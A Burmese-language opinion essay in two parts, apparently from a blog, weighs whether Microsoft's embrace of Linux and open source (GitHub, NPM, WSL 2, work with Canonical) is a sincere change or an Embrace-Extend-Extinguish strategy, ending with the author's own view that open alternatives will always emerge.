Microsoft ရဲ့ intellectual property (IP) အတွက်တော့ cancer တစ်ခုပဲဆိုပြီးတော့နှစ်နှစ်ကာကာ ပြောခဲ့တဲ့ ခပ်ဆိုးဆိုး ခပ်ကြောင်ကြောင် Microsoft ရဲ့ leader တစ်ယောက်ပဲဖြစ်ပါတယ်။ သူ့လက်ထက်မှာ Microsoft ဟာ tech industry မှာတော်တော်လေး အရှိန်ကောင်းနေတုန်းမို့ Linux ကို နည်းနည်းလေးလူပြောများလာတာကို သိတာနဲ့ ပြိုင်ဘက်ရန်သူ တစ်ယောက်လို ဆက်ဆံခဲ့တဲ့ အချိန်တွေပါ။ အဲ့ဒီအချိန်မတိုင်ခင်ကတော့ Linux ကို လူအနည်းစုသာသိကြားပြီးတော့ အသုံးပြုတဲ့လူသိပ်မရှိသေးတဲ့အတွက် အဖက်တောင်လုပ်ဖော်မရပါဘူး။ တဖြည်းဖြည်းနဲ့ Linux community နဲ့ user base ကောင်းလာတဲ့ အချိန်မှာတော့ Steve Ballmer ကအခုလို ဗလိုင်းကြီး ဝင်သမတဲ့ အချိန်တွေပဲဖြစ်ပါတယ်။ ၂၀၁၆ခုနှစ်မှာတော့ Steve Ballmer ဆိုတဲ့ ပုဂ္ဂိုလ်ပဲ Linux ကို cancer လို့မထင်တော့တဲ့ အကြောင်းကို ပြောင်းပြန်တဖန်ပြောပြန်တယ်။ အချိန်အားဖြင့်တော့ Microsoft Loves Linux ဆိုပြီးတော့ စတင်လာခဲ့ရာကနေပြီးတော့ ၂၀၁၆ခုနှစ်မှာတော့ MS SQL ကို Azure ရဲ့ Linux platform တွေပေါ်မှာတင်ပြီးတော့ run လို့ရအောင် port လုပ်တဲ့သတင်းထွက်လာတာနဲ့ အချိန်ပါ။ Server နဲ့ Cloud ဘက်မှာ ဘယ်လိုမှပြိုင်လို့ မရနိုင်တာသိတာနဲ့ Microsoft တဖြေးဖြေးချင်း လျော့လာတဲ့ အချိန်ပဲဖြစ်ပါတယ်။ ပြီးတော့ Microsoft ရဲ့ leadership မှာလည်း အတွေးအမြင်အသစ်နဲ့ နောက်မျိုးဆက်သစ် လက်ရှိ CEO ဖြစ်တဲ့ Satya Nadella လက်ထက်မှာတော့ Open Source နဲ့ Linux community အပေါ်မှာထားတဲ့ Microsoft ရဲ့ အမြင် အများကြီးကွာခြားသွားတာကို တွေ့ရမှာပဲဖြစ်မှာပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-ab74c7f90a81cb4a160a2a0c4da61df52c8e7020%2FSatya-Nadella-MS-CEO-1-768x433.jpg?alt=media" alt=""><figcaption></figcaption></figure>

Open source နဲ့ Linux ဘက်အခြမ်းမှာတော့ Microsoft ရဲ့ Microsoft Loves Linux ဆိုတဲ့ ချဉ်းကပ်ပုံကို အမြင်နှစ်မျိုး ရှိနေပြန်ပါတယ်။ ဒီနေရာမှာ စာရေးသူ အနေနဲ့ မတူတဲ့ အမြင်တွေအားလုံးကို ပြန်လည်သုံးသပ်ပြီးတော့ ဒီ post မှာ ဆင်ခြင်သုံးသပ်ကြည့်ချင်လို့ပါ။ စာရေးသူ တကိုယ်ရေမြင်တဲ့ အမြင်ကြောင့်လည်း အနည်းငယ် ဘက်လိုက်ချင် လိုက်နိုင်သော်လည်း စာရေးသူဘက်က အရိုးသားဆုံး ကြိုးစားပြီးတော့ ဝေဖန်သုံးသပ်သွားပါ့မယ်။ လက်တွေ့မှာ မတူတဲ့ ဆန့်ကျင်ဘက်နှစ်ခုကို နှိုင်းယှဉ်တဲ့အခါမှာတော့ အဖြူအမည်း လိုမျိုး နှစ်ခုတည်း ထွက်တာမဟုတ်ပါ။ တကယ်တော့ ဆန့်ကျင်ဘက်လို့ အလွယ်လေးပြောလိုက်ရင် အမှားနဲ့ အမှန်ဆိုပြီး နှစ်ခုတည်း ရှိသယောင်ဖြစ်သော်လည်း လက်တွေ့ဘဝမှာတော့ သက်တံ့ရောင်စဉ်သမျှ အရောင်စုံ ရှိလို့သာနေပါတော့တယ်။ သို့သော် ဘဝမှာ အရောင်စုံ အကြောင်းစုံ ကိုသိဖို့ နားလည်ဖို့ရာ အတွက်တော့ ထင်သလောက်မလွယ်ပြန်ပါဘူး။ အဲ့ဒါကြောင့်လည်း ဒီဘက်ခေတ် အထိတိုင်အောင် လူသားမျိုးဆက်တွေဟာ များပြားလွန်းလှတဲ့ data တွေကို စုစည်းပြီးသည့်တိုင်၊ ရထားတဲ့ data တွေကို analysis ပြန်လုပ်ပြီးကာမှ အနီးစပ်ဆုံးကို တွက်ချက်ယူရပါတယ်။ ထွက်လာတဲ့ အဖြေဟာ မှန်လားမှားလားဆိုတာကတော့ တသတ်မှတ်တည်း မဟုတ်ပြန်ပါဘူး။ အဲ့ဒီတော့… စာရေးသူ စဉ်းစားမိတာတစ်ခုက အကြောင်းအရာ တစ်ခုမှာ ဆန့်ကျင်ဘက်ဆိုတာ နှစ်ဘက်တည်း ရှိနိုင်တဲ့ ကိစ္စမဟုတ်ဘူးဆိုတာ ရှင်းပါတယ်။ သို့သော်… ဆင်ခြေသုံးသပ်ရမယ့် အခြေအနေတရပ်မှာတော့ လူတွေဟာ အကောင်းဆုံးအဆိုးဆုံး အစွန်းနှစ်ဘက်မှာ ရပ်ပြီး အကျိုးအကြောင်းဝေဖန်ဖို့အတွက် အားထုတ်လေ့ရှိတယ်။ လက်ရှိ tech industry ထဲမှာ ဖြစ်နေပြောနေတဲ့ open source ဘက်က ပိုမှန်သလား၊ Microsoft လို propriety တွေဘက်ကမှန်သလားဆိုတာကိုလည်း ထိုနည်းတူ အစွန်းနှစ်ဘက်ကနေရပ်ပြီးတော့ တွေးနိုင်မြင်နိုင်မှ သဘာဝကျမယ်လို့ စာရေးသူမြင်ပါတယ်။ အဲ့ဒီတော့… အစွန်းဘက်နှစ်ခုစလုံးက အမြင်နှစ်ခုကို အရင်တင်ပြပါ့မယ်။ ပြီးနောက် စာရေးသူဘက်က သိထားတဲ့ နှစ်ဘက်စလုံးက ‘ရ’ ထားတဲ့ data တွေပေါ်မှာ မူတည် ပြီးတော့ ကိုယ်ပိုင်တွေးဟန်လေးကို နောက်ဆုံးမှာ ရှင်းလင်းလိုပါတယ်။

### လက်ရှိ Open Source မှာရှိတဲ့ အယူနှစ်မျိုး

ပထမဆုံး အမြင်တစ်ခု open source သမားတွေဘက်မှာ Microsoft ရဲ့ လက်ရှိ အနေအထားကို အချဉ်ပေါက်နေတဲ့ အဖွဲ့ဘက်က အမြင်ပါ။ ဒီအဖွဲ့မှာတော့… open source ရဲ့ အကောင်းဆုံး အနှစ်တွေကို Microsoft လို proprietary တွေဘက်က EEE ဆိုတဲ့အတိုင်း Embrace, Extend and Extinguish လုပ်ဖို့အတွက် လက်ရှိ Microsoft Loves Linux ဖြစ်ရတာလို့ ယုံကြည်တဲ့ ရှေးရိုးစွဲ open source သမားတွေပါဝင်ပါတယ်။

ဟိုဘက်အစွန်းဘက်မှာတော့… ဒုတိယတစ်ဖွဲ့ဖြစ်တဲ့ Microsoft ဟာ တကယ်ကြီးကို ပြောင်းသွားပါပြီ၊ ဟိုတချိန်က Microsoft မဟုတ်တော့တာ သေချာပါတယ်ဆိုတဲ့အဖွဲ့ပါ။ ဒီအဖွဲ့မှာလည်း Microsoft ဘက်က marketing ဆန်ဆန်လေသံနဲ့ ပြောတဲ့လူရှိသလို၊ open source သမား Linux သမားတွေလည်း တော်တော်များများပါဝင်ပါတယ်။ အကြမ်းဖျင်းအားဖြင့်တော့… ဒီဒုတိယအဖွဲ့ထဲက လူတွေဟာ tech industry ထဲမှာတိုးတက်ဖို့ရာ ဘယ်လိုနည်းနဲ့ တိုးတက် တိုးတက် နည်းပညာလောကတစ်ခုလုံးအတွက် အမြတ်ထွက်တယ်လို့ မြင်တဲ့ တစ်စုပါ။ စာရေးသူ အတွက်တော့နှစ်ဘက်လုံး ပြောတဲ့အသံ တင်ပြတဲ့ပုံစံ မျိုးစုံကို ကြားနားပြီး မြင်တွေ့ ပြီးတဲ့နောက် ကိုယ်ဉာဏ်မှီသလောက်လေး တွေးကြည့်မိတာ ရောရောထွေးထွေး ခံစားချက်များနဲ့ နှစ်ဘက်လုံးနဲ့ မတူတဲ့ အရောင်နောက်တစ်မျိုး ထပ်ရပြန်ပါတယ်။ ကိုယ်မှန်သလား မှားသလားဆိုတာတော့ နောင်အနာဂတ်မှာ ဖြစ်လာမယ့် open source သမိုင်းဖြစ်စဉ်ကသာ သက်သေထူနိုင်မယ့် ကိစ္စမို့ လွန်လွန်ကြူးကြူး မငြင်းခုံလိုတော့ပါ။ လက်ရှိမှာတော့ ဟိုတချိန် နှစ်ပေါင်းသုံးဆယ်အတွင်း open source နဲ့ Linux သမိုင်းမှာဖြစ်ခဲ့တဲ့ ဖြစ်စဉ်တွေကို ကြည့်ရပြီးမြင်ရပြီး သကာလ Microsoft ရဲ့ president ကြီး Brad Smith က သူအနေနဲ့တော့ Microsoft ဟာ သမိုင်းရဲ့ “မှားတဲ့ဘက်မှာ” နေခဲ့တယ်လို့ ဆိုပါတယ်။ စာရေးသူတို့လည်း နောင်အနှစ်နှစ်ဆယ်သုံးဆယ်စာ open source ရဲ့ ခရီးစဉ်ဘယ်လိုရှိနိုင်မလဲဆိုတာ ကိုအရင်တွေးကြည့်ပြီး ပြေးကြည့်လိုက်ရအောင်…

### ပထမအယူသည်းခြင်းတစ်မျိုး – M$ ရဲ့ “မှားတဲ့ဘက်မှာ” နဲ့ EEE strategy

ဟိုတချိန်တုန်းကလည်း လုပ်ခဲ့တယ်၊ အခုလည်း ထပ်ပြီးတော့ သမိုင်းကို ပုံစံတူနောက်တစ်ခါ ပုံတူဆွဲတဲ့ Microsoft ရဲ့ EEE strategy ကတော့ Microsoft နည်းတူ အခြားသော proprietary tech giant တွေအကုန်လုံးနည်းပါးလုပ်တဲ့ marketing strategy တစ်ခုပါ။ ဘယ်လိုမှ ယှဉ်ပြိုင်ပြီးတော့ နိုင်နိုင်ခြေမရှိရင် ရှိသမျှ resource ကို ဆန့်ကျင်ဘက် campaign မှာသုံးမည့်အစား တဘက်လှည့်နဲ့ Embrace လုပ်ပြီးတော့ သိမ်းယူတဲ့ strategy ဟာ ခေတ်သစ်စီးပွားရေး အမြင် အရကြည့်ရင် အများကြီး တွက်ခြေ ကိုက်သလို၊ လုပ်သင့် လုပ်ထိုက်တဲ့ လမ်းစဉ်တစ်ခု ဆိုတာကတော့ မိတ္တဗလဋီကာကျမ်းကြေတဲ့ လူတိုင်းသိပါတယ်။ တဘက်မှာ မှန်ပြီးတော့ တရားမျှတသလား ဆိုတော့လည်း မဟုတ်ပြန်ပါဘူး။ သို့သော်… လုပ်ငန်းဆောင်တာများကို ပြီးမြောက်အောင်မြင်စွမ်းဆောင်နိုင်တဲ့ strategy မို့ လုပ်သင့်လုပ်ထိုက်တဲ့ ကိစ္စတစ်ခုပါ။ ဒါကြောင့်လည်း နှစ်ပေါင်းများစွာ tech industry မှာ proprietary တွေဟာ resource ရှိရင် ရှိသလောက် EEE strategy တွေကို အသုံးပြုကြပါတယ်။ အပေါ်ယံအားဖြင့်တော့ အဆီတွေဖုံးလို့ မတွေ့နိုင်တဲ့ ဘေးဖြစ်ဆိုးကျိုးတွေရှိနိုင်သော်လည်း underdog (အင်အားနည်းတဲ့သူ) တွေမှာတော့ ဆုပ်လည်းဆူး စားလည်းရှုး ရမယ့် အဖြစ်မို့ ဒီအတိုင်းသာ မြိုချလိုက်ရပါတော့တယ်။ ဒီတော့… လူအများရှေ့မှာ စကားလုံး ချိုချိုလေးတွေသုံးပြီးတော့ အနောက်ဘက်မှာ တဘက်လှည့်နဲ့ ကောက်ကျစ်လိုက်ရုံနဲ့ ကိစ္စအားလုံးကို အောင်နိုင်မယ်ဆိုတာလည်းသိပါတယ်။ ဒါကြောင့်လည်း Microsoft Loves Linux လို့ ကြားတိုင်းလည်း အပုတ်နံ့ထွက်လွန်လို့။ Microsoft လို proprietary tech giant ဟာလက်ရှိ open source မှာရှိိတဲ့ project တွေရဲ့ အကြီးဆုံး contributor လို့ ကြားရတိုင်း ထမင်းလုံးသစ္စေ ခြောက်သလိုပဲ ကိုယ့်ဟာကို မယုံနိုင်ပါဘူး။ ပြီးတော့လေ… Microsoft က open source code တွေကို hosting လုပ်တဲ့ GitHub ကို ဘယ်လောက်နဲ့ဘယ်လို ဝယ်လိုက်တာ၊ သိပ်မကြာပါဘူး… Microsoft ကပဲ NPM ကို GitHub ရဲ့ ခေါင်းစဉ်အောက်မှာဝယ်လိုက်တာဖြင့် တချိန်က မျက်လှည့်ဆရာ David Copperfield လေယာဉ်ပျံတစ်စီးလုံးကို ကိုယ့်မျက်စိရှေ့မှာတင် ဖျောက်ပြသွားတာထက်ကို ရှင်းသေးတယ်။ အခုပြောသမျှတွေအကုန်လုပ်ပြီးသွားရင်တော့ Embrace ကနေ နောက်တဆင့်ကို ထက်တက်ပါတော့တယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-f9226bfb6c614fb46aad4e2497ccd572617c14db%2FMS-GitHub-768x439.jpg?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-19a8698e7accd39a7925470a1dfbbcfca0656bb3%2FEEE-1-768x483.png?alt=media" alt=""><figcaption></figcaption></figure>

နောက်အဆင့်အနေနဲ့ Extend လုပ်ဖို့အတွက် ကြိုးပမ်းရပါတော့တယ်။ အခုပဲကြည့်လေ… GitHub ရဲ့ pricing နဲ့ policy မှာ free account users တွေကို team အတွင်းမှာသုံးဖို့ အတွက် private repo တွေမှာ unlimited collaboration ပေးလုပ်မယ်ဆိုတာမျိုး ကြားသိရတော့… လုံးဝ open source လုပ်ထားပြီး free tier မှာ feature အများကြီးပေးသုံးထားတဲ့ GitLab လို platform ကို ယှဉ်ပြိုင်ဖို့အတွက် ငွေကြေးအများကြီး အကုန်ကျခံထားတဲ့ GitHub လို platform မှာ extend လုပ်လာတဲ့သဘောမျိုးပါ။ GitLab ဟာ Europe မှ developer နှစ်ယောက်ကအခြားသော developer တွေ အသုံးပြုနိုင်အောင်လို့ ဖန်တီး ဖော်စပ်ထားတဲ့ passion project တစ်ခုပါ။ Microsoft က GitHub ကိုဝယ်လိုက်ပြီးတော့ နောက်မှာတော့ နာမည်အရမ်းရလာတဲ့ platform တစ်ခုလို့ ဆိုရမှာဖြစ်ပါတယ်။ အထင်ကရ open source project တော်တော်များများလည်း Microsoft GitHub ကိုဝယ်တော့မယ်ဆိုတဲ့ သတင်းကိုကြားကြားချင်း source code တွေအားလုံးကို GitLab ရဲ့ platform ပေါ်ကိုစတင်ပြောင်းရွေ့ လာပါတော့တယ်။ Open source ရဲ့ spirit လို့ပဲဆိုရမှာပါ။ နောက်တစ်ခုအနေနဲ့… Microsoft ရဲ့ WSL 2 ဟာဖြင့် Linux ရဲ့ Desktop app တွေကို DirectX ရဲ့ အကူအညီနဲ့ GPU passthru လုပ်တော့မယ်ကြားသိရပါတယ်။ အချို့ကလည်း လောင်ပြောင်တဲ့သဘောနဲ့… နောက်ဆုံးတော့ Linux ရဲ့ Desktop app တွေကို Windows ရဲ့ subsystem ပုံစံ Linux platform ပေါ်မှာအသုံးပြုနိုင်တော့မယ်လို့ နောက်ပြီးရေးကြပုံက ဟာသတစ်ခုပါ။ ဆိုတော့ကာ… Microsoft ရဲ့ extend အဆင့်မှာ WSL 2 ဆိုပြီးတော့များ လုပ်နေသလားလို့ ထင်မှတ်ရပါတယ်။ အဲ့ဒီကနေမှ Linux user တွေကို Microsoft ဟာ တဖြည်းဖြည်း Linux platform ကိုလုံးဝ အသုံးပြုစရာ မလိုတော့ပဲနဲ့ Linux ecosystem မှာရနိုင်တဲ့ tools တွေကို WSL မှာသုံးလို့ရနိုင်လုပ်ပေးခြင်းအာဖြင့် Linux ဆိုတဲ့ platform တစ်ခုလုံးကို မျိုးပြုတ်အောင် extinguish လုပ်နိုင်တယ်လို့ ယူဆချက်များ community ထဲမှာ သတင်းထွက်လို့နေပါတယ်။

ဒီတပိုင်းမှာတော့… ပထမအယူသည်းခြင်း အဖွဲ့ရဲ့ တွေးပုံမြင်ပုံကို တင်ပြသွားဖြစ်ပါတယ်။ နောက်တပိုင်းမှာတော့ ဟိုဘက်အမြင် ဒုတိယအယူသည်းခြင်းဖြင့် စိတ်အေးအေးထားတတ်တဲ့ အဖွဲ့ဘက်နေပြန်ပြီးတော့ တွေးကြည့်မြင်ကြည့် ဆက်လက်တိုင်ပင်ကြည့်ချင်လို့ပါ။ နောက်ဆုံးပိတ်မှာတော့… စာရေးသူကိုယ်ပိုင် အမြင်နှစ်ခုကြား ဉာဏ်မှီသလောက် ကိုယ်ပိုင် သုံးသပ်ချက်ပုံစံလေး ကို အနည်းငယ် ဆက်ပြီးတော့ ရှင်းလင်းလိုပါတယ်။


# “မှားတဲ့ဘက်မှာ” – အပိုင်း (၂)

### ဒုတိယ အစွဲကင်းခြင်းတစ်မျိုး – မှားပြီးမှန်တတ်လာတဲ့ MS နဲ့ တောင်းပန်ပါရစေ တချိန်က Cancer

အပိုင်း(၁) မှာ ပြောထားတဲ့အတိုင်း Microsoft ရဲ့ Open Source ကို ချဉ်းကပ်ပုံကို တစ်ဘက်က အမြင်နဲ့ ရေးသွားပါတယ်။ အခုအပိုင်းမှာတော့ ဒီဘက်အခြမ်းက မြင်ပုံ တစ်မျိုးကို ဆက်လက်တင်ပြသွားပါ့မယ်။ ဒီဘက်အဖွဲ့မှာတော့ Microsoft ဘက်က ပြောင်းလဲလာတာကို ဝမ်းမြောက်စွာ ကြိုဆိုတဲ့ အဖွဲ့ပါ။ များသောအားဖြင့် Microsoft ဟာတကယ်ပဲ ပြောလဲသွားပါပြီ၊ လက်ရှိ လုပ်နေတဲ့ အလုပ်နဲ့ သွားနေတဲ့ လမ်းကြောင်းဟာ Open Source ကို တကယ်ကို support လုပ်ဖို့အတွက်လာပါပြီ ဆိုပြီးတော့ Microsoft ဘက်ကနေ lobby လုပ်ပေးတဲ့ Microsoft အတွင်းထဲကနေစပြီးတော့\
ပဲ့တင်သံ ထွက်လာတယ်လို့ ထင်ပါတယ်။ ရှေးရိုးစွဲ Free Software နဲ့ Open Source သမားတွေကတော့ အပိုင်း(၁) ထဲကလို ပထမ အဖွဲ့ထဲမှာ ပါ ဖို့ပိုများပါတယ်။ နောက်တစ်မျိုးက ဒီဘက်ဒုတိယ အဖွဲ့မှာက Microsoft ဟာ တကယ်ကို စေတနာ ကောင်းကောင်းသန့်သန့် နဲ့ open source အတွက် လုပ်လာတယ်ဆိုရင် ဆိုတဲ့ အတွေးလေးတစ်ခုတည်းနဲ့ တိုးတက်ရာ တိုးတက်ကြောင်းကို ရှာတဲ့ အဖွဲ့ပါပဲ။ Microsoft အနေနဲ့ open source community အတွက် ကြီးကြီးမားမား contribute လုပ်လာခဲ့ရင် ဆိုရင်ဖြင့် Linux Desktop လို OS ကို မသိသေးတဲ့ လူတွေပိုပြီးတော့ သိလာမယ်။ အဲ့ဒီကနေမှတဆင့် နောက်မှာ freedom နဲ့ privacy အတွက် အခြားသော ရွေးချယ်စရာတွေရှိနေ သေးတာပဲဆိုတာမျိုးဖြစ်လာဖို့ရည်ရွယ်ပါတယ်။ နောက်ဆုံးမှာ တော့ အကုန်လုံး “Year of the Linux Desktop” ရယ်လို့ ဖြစ်လာမှာ မလွှဲမသွေပါပဲ။

ဒါ့အပြင်… Microsoft ဘက်ကလည်း အဖန်ဖန်အခါခါ တောင်းပန်ထားပြီးသားမို့ Free Software နဲ့ Open Source သမားတွေဘက်ကလည်း ကျေနပ်သင့်ပါတယ်လေ။ အခုအခါမှာ Microsoft ဟာ ဟိုအရင်အချိန်က ခင်ဗျားတို့ အဖေ အမေ ခေတ်က Microsoft မဟုတ်တော့တာ။ သူအရမ်းကို ပြောင်းလဲသွားပြီလေ။ အခုပဲကြည့်လေ… Canonical နဲ့ Microsoft တို့ အတူ collaboration လုပ်ကြတဲ့ အခါမှာလည်း Microsoft ဘက်က WSL 2 အတွက်သီးသန့် task force လိုမျိုး company အတွင်းမှာ ထားပြီးတော့ Canonical ရဲ့ Ubuntu ကို seamlessly integration လုပ်လို့ ရအောင်လို့ အများကြီး သူတို့ဘက်ကနေပြီး ကြိုးပမ်းကြပါတယ်။ ဒီလိုမျိုး Linux platform ကို Windows 10 ရဲ့ WSL 2 မှာ run လို့ရအောင် လုပ်ခြင်းဖြင့် Linux ကို မသိသေးတဲ့ လူတွေအတွက် exposure ပိုပြီးတော့ ကောင်းစေတဲ့အတွက် Linux မှာလည်း အသုံးပြုသူ ပိုပြီးတော့ များလာနိုင်တယ်လေ။ သေချာစဉ်းစား ကြည့်ရင်ဖြင့် Linux OS ရဲ့ အနာဂတ်ဟာ အများကြီး စိတ်လှုပ်ရှား စရာတွေအများကြီးပါ။ ဒီအတွက် Microsoft ကို ရန်မမူ သင့်ပါဘူး၊ သူ့ရဲ့ စေတနာကိုလည်း မစော်ကားသင့်ပါဘူးလေ။ နှစ်ဦးနှစ်ဘက် အကျိုးများစေမှာမို့ ရှေးရှုထိုက်ပါပေတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-be613edb33a3c5eb54dd11db87608731986f7baf%2Fwt-wsl-1-768x417.png?alt=media" alt=""><figcaption></figcaption></figure>

နောက်တစ်ခုရှိပါသေးတယ်။ အခုလိုမျိုး Microsoft ဟာ Canonical နဲ့ အတူ လက်တွဲပြီးလုပ်ရခြင်းဖြင့် enterprise နဲ့ corporate တွေမှာ Windows အသုံးပြုတဲ့ developer တွေအတွက် အများကြီး လွယ်ကူသွားစေမှာပါ။ အားလုံးသိပြီးကြတဲ့ အတိုင်း Enterprise တွေမှာတော့ Windows ဟာတော်တော်လေးကို နေရာယူထားဆဲပါ။ Windows မှာဆိုရင် Dell, HP နဲ့ Lenovo လို hardware vendor တွေက Enterprise နဲ့ Corporate မှာနေရာယူထားပြီးတော့၊ bash လေးတော့သုံးမှရမယ်ဆိုတဲ့ developer နဲ့ cloud engineer တွေအတွက်တော့ Apple ရဲ့ Macbook pro လို Laptop တွေက နေရာယူထားကြပါတယ်။ အခုနောက်ပိုင်းမှ… Canonical က certified hardware တွေလုပ်ပေးမယ်လို့ ကြားရတော့ Linux Desktop ကို default အနေနဲ့တင်ထားတဲ့ Dell XPS developer edition တွေ၊ နောက်ပြီးတော့ Lenovo ကလည်း Linux Desktop ကို အသုံးပြုပြီးတော့ အချို့ Laptop တွေကို Enterprise အတွက်ထုတ်လာတာကိုတွေ့ရတော့ Linux ဟာ Corporate ရဲ့ office desk တော်တော်များမှာလည်း နေရာယူလာအုံးမယ်လို့ သိရလို့ စိတ်အေးနေမိပါတယ်။ အခုလို အနေအထားမျိုးမှာ Windows ဘက်ကရွေးချယ်စရာ များများစားစားမရှိပါဘူး။ Linux ရဲ့ ကောင်းကွက်တော်တော်များများကို Windows က နည်းနည်းချင်းစီ porting လုပ်သွားဖို့ပဲ ရှိပါတယ်။ Open Source နဲ့ developer world မှာတော့ bash နဲ့ အခြားသော bash ရဲ့ variant တွေဖြစ်တဲ့ zsh တို့၊ csh တို့၊ fish တို့ဟာ မရှိမဖြစ်လိုအပ်နေသေးတဲ့ essential toolset တွေပါ။ Windows မှာ အစကတည်းက bash ကို adopt မလုပ်ချင်လို့ကို PowerShell ကို အစကနေပြန်ပြီးတော့ တည်ဆောက်လာခဲ့သော်လည်း de facto commandline tool တစ်ခုအနေနဲ့သာ developer အတွက်အသုံးတည့်နေပြီးတော့၊ bash ကို အစားထိုးဖို့ အတွက် terminal တစ်ခုဖြစ်မလာခဲ့ပါဘူး။ အခုလိုမျိုး WSL ရဲ့ concept နဲ့ တိုက်ရိုက် tight integration ကို အချိန်တိုတိုအတွင်းမှာ လုပ်ဖို့ရာအတွက် Linux နဲ့ သူ့ရဲ့ kernel ကို မွေးစားလိုက်ခြင်းဟာ အလွယ်ကူဆုံးပါ။ အဲ့ဒီအတွက်လည်း Linux ဘက်မှာ Desktop user တော်တော်များများ ကို Windows ကြားခံပြီးတော့ expose လုပ်နိုင်မယ့် platform ဖြစ်လာမယ်ဆိုတာလည်း လုံးဝကို သံသယ မရှိတာ အမှန်ပါ။ ပူးပေါင်းလိုက်တာပဲ ကောင်းပါတယ်။

အထက်မှာတော့ ဒုတိယ အဖွဲ့မှာပါတဲ့ ဘက်တော်သားတွေရဲ့ လေသံပါ။ Microsoft ရဲ့ အတွင်းထဲလာတဲ့ Windows lobby သမားတွေနဲ့အတူ လေသံပြောင်းလာတဲ့ hardcore free software နဲ့ open source သမားတွေလည်းပါတယ်။ လမ်းကြံရင်လည်း အဲ့ဒီလိုလူတွေဟာ အထက်ကလိုမျိုး lobby လေသံလေးတွေနဲ့ forum အချို့နဲ့ podcast တွေမှာ ဝင်ဝင်ငြောင့်တတ်လို တခါတခါ အဆဲတောင်းနေသလိုမျိုးလည်း ဖြစ်နေတတ်ပြန်တယ်။ ထားပါတော့… ဒါကတော့ အမြင်တစ်ခုကို ဟိုဘက်ဒီဘက် ချပြပြီး မြင်စေလိုတဲ့ သဘောမျိုးနဲ့သာ ရှင်းပြတဲ့ သဘောပါ။

### အဆိုးနဲ့အကောင်းတွဲနေတတ်တာကို မြင်နိုင်ဖို့ကြိုးစားတဲ့ တစ်ကိုယ်ရေအမြင်

ကဲ… ကောင်းပြီ နှစ်ဘက်လုံး အမြင်ပြီးတော့ စာရေးအမြင်ကို နည်းနည်းလေး ဆွေးနွေးကြည့်ချင်ပါတယ်။ ဆိုပါတော့… စာရေးသူဟာ Linux enthusiast တစ်ယောက်အနေနဲ့ အခုလိုမျိုး Windows လုပ်လို့ တချိန်ကြရင် Linux ဟာ လုံးဝ extinguish လုပ်ခံရတယ်ဆိုကြပါတော့။ စာရေးသူအနေနဲ့ကတော့ ဒီထက်ကောင်းတဲ့ Linux အစားထိုး platform တစ်ခုဟာ ထွက်လို့ လာရအုံးမယ်ဆိုတာ မှန်းဆလို့ သိနိုင်ပါတယ်။ BSD လည်းဖြစ်နိုင်သလို၊ Linux ကနေဆင်းသက်လာတဲ့ တချိန်က MINIX လို platform တစ်ခုအတွက် Linus Torvalds ကြိုးစားခဲ့တာကိုလည်း ပြေးပြီးတော့ မြင်ယောင်မိပါတယ်။ Free world မှာ personal motivation ကြောင့်ထွက်လာတဲ့ project တွေကို ဘယ်လိုနည်းနဲ့မှ ပိတ်ပင်ထားလို့ မရနိုင်ပါဘူး။ လွန်ခဲ့တဲ့ နှစ်၂၀ နှစ် ၃၀ အတွင်းမှာ Linux ဟာဘယ်လို ရပ်တည်ခဲ့သလဲဆိုတာ သက်သေပါ။ BSD မှာလည်း အများလုပ်စရာတွေကျန်နေသေးလို့ စာရေးသူ BSD ကိုလည်း မျက်ခြေမပြတ်လိုက်ကြည့်နေရပါတယ်။ Apple ဟာ BSD အတွက် သူတို့ ယူသုံးသလောက်ပြန်ပေးခဲ့မယ်ဆိုရင်၊ BSD ဟာလည်း Linux လိုမျိုး တော်တော်လေး ခရီးပေါက်ပြီးတော့ နေရာတစ်ခုတော့ ရောက်နေလောက်ပြီလို့ ထင်ပါတယ်။ Apple ဟာ BSD ကနေယူဖို့အတွက်အသုံးချ ခဲ့တယ်လို့ စာရေးသူ သုံးသပ်လိုပါတယ်။ Linux မှာတော့ organizational နဲ့ community ဘက်အခြမ်းမှာ ပိုပြီးသာလို့ BSD ထက်ခရီးပေါက်ခဲ့တာလို့ လည်းမြင်မိပါတယ်။ BSD ဟာလည်း Unix ကဆင်းသက်လာတဲ့ platform တစ်ခုပါ။ အဆိုးဆုံးဆိုတာကို တွေးမိတိုင်း အနည်းငယ်တော့ စိတ်အေးရပါတယ်။ အခုလက်ရှိမှာတော့ Linux မှ Linux ရယ်လို့ မဟုတ်တော့ပါဘူး။ စာရေးသူလေ့လာခဲ့မိသလောက်တော့ tech industry ဟာ အများကြီး evolve ဖြစ်လာပြီးတော့ ရွေးချယ်စရာတွေအမြဲရှိနေတတ်ပါတယ်။ အဲ့ဒါကြောင့် EEE strategy သုံးအုံးတော့ အချိန်တန်ရင် ဒီထက်ရင့်ကျက်တဲ့ platform တစ်ခုဟာ မှောင်ရိပ်ထဲကနေထွက်လာအုံးမှာပါ။ သမိုင်းဟာလည်း နောက်တစ်ကြော့ပြန်အုံးမှာမို့ Microsoft ဘာလုပ်နေတယ်၊ ဘယ်လမ်းသို့သွားနေတယ်ဆိုတာကို မြင်နိုင်အုံးတော့ သိနေတဲ့ အသိစိတ်တစ်ခုနဲ့ ဖြေသိမ့်နိုင်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-51f7345e99543c1c03be12a96917038aca7fa3eb%2FSteve-Ballmer-Developers-1-768x541.jpeg?alt=media" alt=""><figcaption></figcaption></figure>

